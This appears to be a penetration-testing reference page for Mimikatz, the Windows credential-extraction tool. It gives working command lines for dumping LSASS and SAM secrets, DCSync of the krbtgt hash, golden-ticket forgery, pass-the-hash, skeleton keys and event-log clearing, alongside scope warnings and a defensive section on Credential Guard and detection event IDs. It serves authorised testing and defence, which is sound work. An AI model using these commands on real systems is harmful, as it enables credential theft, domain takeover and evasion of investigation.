Mimikatz

Field Detail
Summary Extract Windows credentials/hashes/tickets from memory
Category Windows credential extraction
Phase post-exploitation, credential-analysis
Interface CLI (Windows)
Platform Windows
Licence Open source (CC-BY)
Docs https://github.com/gentilkiwi/mimikatz/wiki
Related Impacket, NetExec (CrackMapExec), John the Ripper and Hashcat, BloodHound and SharpHound

Post-exploitation tool for extracting Windows credentials — plaintext passwords, NTLM hashes, Kerberos tickets — from memory and local stores, and for Kerberos ticket manipulation. You must already have administrative/SYSTEM code execution on the host; Mimikatz is what you run after a successful compromise, not a way in.

⚠️ Warning — Scope, and expect to be caught Reading LSASS and dumping credentials is a textbook attacker action — every AV/EDR flags the stock binary on sight, and it needs local admin + SeDebugPrivilege. Authorised engagements only, on hosts in scope, documented. On a defended network the unmodified binary simply won't run; that's the point of the control.

Privilege setup (run first)

privilege::debug        # enable SeDebugPrivilege — must return "OK"
token::elevate          # elevate to SYSTEM (needed for SAM, some secrets)
log mimikatz.log        # tee output to a file

If privilege::debug returns an error, you don't have the rights — stop and escalate first (see BloodHound and SharpHound for paths).

Credentials from memory (sekurlsa)

Reads LSASS process memory for logged-on users' secrets:

sekurlsa::logonpasswords     # dump creds for all sessions (NTLM, sometimes plaintext)
sekurlsa::wdigest            # legacy plaintext (old/misconfigured hosts)
sekurlsa::msv                # NTLM hashes
sekurlsa::kerberos           # Kerberos creds in memory
sekurlsa::tickets /export    # export .kirbi tickets to disk
sekurlsa::ekeys              # Kerberos encryption keys (AES) — for overpass-the-hash

ℹ️ Note — Why plaintext sometimes appears wdigest cached cleartext on Windows ≤ 8/2012. It's disabled by default on modern Windows, so you'll usually get NTLM hashes, not passwords — crack those offline with John the Ripper and Hashcat (mode 1000).

Local credential stores

lsadump::sam                 # local SAM account hashes (SYSTEM)
lsadump::secrets             # LSA secrets (service account passwords, cached)
lsadump::cache               # cached domain logons (MSCACHE/DCC2 -> hashcat 2100)

Domain-level (from a DC or with replication rights)

lsadump::dcsync /domain:corp.local /user:krbtgt     # pull one account's secrets via replication
lsadump::dcsync /domain:corp.local /all             # whole domain

The krbtgt hash is what enables golden-ticket forgery — know it for the theory; from Linux, Impacket secretsdump.py -just-dc does the same DCSync.

Kerberos ticket abuse (theory-heavy)

kerberos::list /export                 # list/export tickets in your session
kerberos::ptt ticket.kirbi             # pass-the-ticket: inject a ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:<domainSID> \
                 /krbtgt:<krbtgt-NT-hash> /ptt      # forge a TGT (golden ticket)
# silver ticket: forge a service ticket using a service account's hash

Golden/silver tickets are persistence/impersonation techniques — understand the mechanism and the detections; only demonstrate in a lab you own.

Pass-the-hash / overpass-the-hash

sekurlsa::pth /user:admin /domain:corp.local /ntlm:<hash> /run:cmd.exe

Spawns a process authenticating as that user with only their hash. (From Linux, the same idea via Impacket -hashes or NetExec (CrackMapExec) -H.)

Practical notes

  • Variants: mimikatz.exe (x64/x86), the PowerShell port Invoke-Mimikatz, and the C# Rubeus for Kerberos-specific work — often more flexible on modern hosts.
  • Dump-then-parse offline: rather than run it live, defenders' kit aside, operators often capture an LSASS dump (e.g. via Task Manager / procdump) and parse it elsewhere with sekurlsa::minidump lsass.dmp + sekurlsa::logonpasswords, or with pypykatz on Linux.
  • pypykatz (pip install pypykatz) reimplements the parsing in Python — handy when you only have a dump file and a Linux box:
    pypykatz lsa minidump lsass.dmp

Defensive angle (be able to explain it)

  • Credential Guard (VBS-isolated LSASS) blocks sekurlsa memory reads.
  • LSASS as a Protected Process Light (PPL) / RunAsPPL registry key.
  • Disable WDigest cleartext caching (default on modern Windows).
  • Restrict/monitor SeDebugPrivilege, tier admin accounts, LAPS for local admins.
  • Detect: LSASS handle access (Sysmon Event ID 10), unusual processes opening lsass.exe, DCSync replication from non-DCs (Event ID 4662).

More modules

sekurlsa::pth /user:admin /domain:corp /ntlm:<hash> /run:cmd.exe   # pass-the-hash spawn
lsadump::dcsync /domain:corp.local /user:krbtgt                    # pull one account's secrets
lsadump::trust /patch                                              # domain trust keys
vault::cred /patch                                                 # Windows Credential Manager
dpapi::cred /in:<file>   ;   dpapi::masterkey /in:<file>           # decrypt DPAPI blobs
token::elevate   ;   token::whoami                                 # impersonation
crypto::certificates /export                                       # export machine certs

Lab/persistence only (noisy IOCs, often need the mimidrv driver): misc::skeleton (DC skeleton key), misc::memssp, event::clear, ts::multirdp. Each is a strong detection signal — include detections, don't rely on them going unseen.

Kill-chain usage

Post-exploitation

sekurlsa::logonpasswords                 # dump creds from LSASS (admin/SYSTEM)

Credential access

lsadump::dcsync /user:krbtgt             # pull the krbtgt hash via DCSync

Where it fits

The classic pivot after local-admin on a Windows host: dump creds/hashes/tickets, then move laterally by reusing them with Impacket and NetExec (CrackMapExec), cracking what needs cracking in John the Ripper and Hashcat, guided by the paths in BloodHound and SharpHound.